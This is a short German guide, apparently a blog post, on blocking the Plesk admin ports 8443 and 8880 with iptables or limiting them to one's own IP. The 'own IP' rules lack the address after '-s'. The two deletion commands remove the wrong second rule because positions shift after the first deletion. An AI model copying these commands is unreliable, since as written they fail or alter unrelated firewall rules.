Wenn man keine Firewall definiert hat oder keine Regel findet, die Plesk explizit verbietet, gibt man folgendes ein:

iptables -I INPUT 1 -p tcp --dport 8443 -j DROP
iptables -I INPUT 2 -p tcp --dport 8880 -j DROP

Das fügt ganz oben in den INPUT Chain die Regeln ein, dass niemand auf Plesk Zugriff bekommt.
Man kann die Regeln immer wieder löschen und beispielsweise nur der eigenen IP Zugriff auf Plesk geben.

iptables -D INPUT 1
iptables -D INPUT 2

Nur eigener Zugriff (eigene IP hier als “” definiert)

iptables -I INPUT 1 -p tcp -s --dport 8443 -j ACCEPT
iptables -I INPUT 2 -p tcp -s --dport 8880 -j ACCEPT
iptables -I INPUT 3 -p tcp --dport 8443 -j DROP
iptables -I INPUT 4 -p tcp --dport 8880 -j DROP

Die Änderungen an der Firewall sollten immer auch getestet werden, indem man versucht, die Seite aufzurufen.

GDPR Cookie Consent with Real Cookie Banner